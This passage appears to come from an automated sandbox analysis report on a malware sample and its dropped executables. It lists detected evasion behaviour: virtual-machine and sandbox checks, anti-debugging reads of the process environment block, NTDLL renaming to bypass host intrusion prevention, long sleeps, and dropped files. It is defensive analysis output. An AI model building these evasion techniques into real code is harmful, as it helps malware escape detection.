Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: 5D4.exe PID: 5344, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 97A5.exe, 00000014.00000002.368885108.00000000004D9000.00000004.00000020.sdmp, 192F.exe, 0000001D.00000002.419614740.000000000321A000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\cviueca	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Renames NTDLL to bypass HIPS

Show sources

Source: C:\Users\user\AppData\Local\Temp\192F.exe	File opened: C:\Windows\SysWOW64\ntdll.dll
Source: C:\Users\user\AppData\Local\Temp\192F.exe	File opened: C:\Windows\SysWOW64\ntdll.dll

Source: C:\Windows\explorer.exe TID: 4672	Thread sleep count: 576 > 30
Source: C:\Windows\explorer.exe TID: 3008	Thread sleep count: 184 > 30
Source: C:\Windows\explorer.exe TID: 5672	Thread sleep count: 258 > 30
Source: C:\Windows\explorer.exe TID: 6524	Thread sleep count: 344 > 30
Source: C:\Windows\explorer.exe TID: 6512	Thread sleep count: 95 > 30
Source: C:\Windows\explorer.exe TID: 6520	Thread sleep count: 144 > 30
Source: C:\Windows\explorer.exe TID: 3828	Thread sleep count: 311 > 30
Source: C:\Windows\explorer.exe TID: 5796	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\32BC.exe TID: 6624	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6744	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 576
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5595
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2723

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\75B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\86B8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8746.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\8E8B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\89D7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7428.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6DDE.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A946B90 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000007.00000000.286192637.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000007.00000000.286192637.0000000008A32000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000007.00000000.302034474.0000000008C73000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 00000007.00000000.281934992.00000000048E0000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000Datc
Source: explorer.exe, 00000007.00000000.301288378.0000000008B88000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}C
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000007.00000000.296961123.00000000069DA000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD002
Source: AdvancedRun.exe, 0000002A.00000002.494181317.0000000000799000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: explorer.exe, 00000007.00000000.264799560.0000000000F73000.00000004.00000020.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}osoft S
Source: AdvancedRun.exe, 0000002A.00000002.494181317.0000000000799000.00000004.00000020.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

System information queried: ModuleInformation

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Roaming\cviueca	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\192F.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_02E0E36A push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 19_2_02E7D4F2 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_02C70042 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92AAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov esi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9412BD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ADD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915AC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913ACA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A933A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD208 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD208 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A928A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99EA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912240 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4248 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CB260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F395 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914B94 mov edi, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8BB6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1BA8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9953CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9953CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A923BF4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A923BF4 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9123F6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911BE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309 mov eax, dword ptr fs:[00000030h]
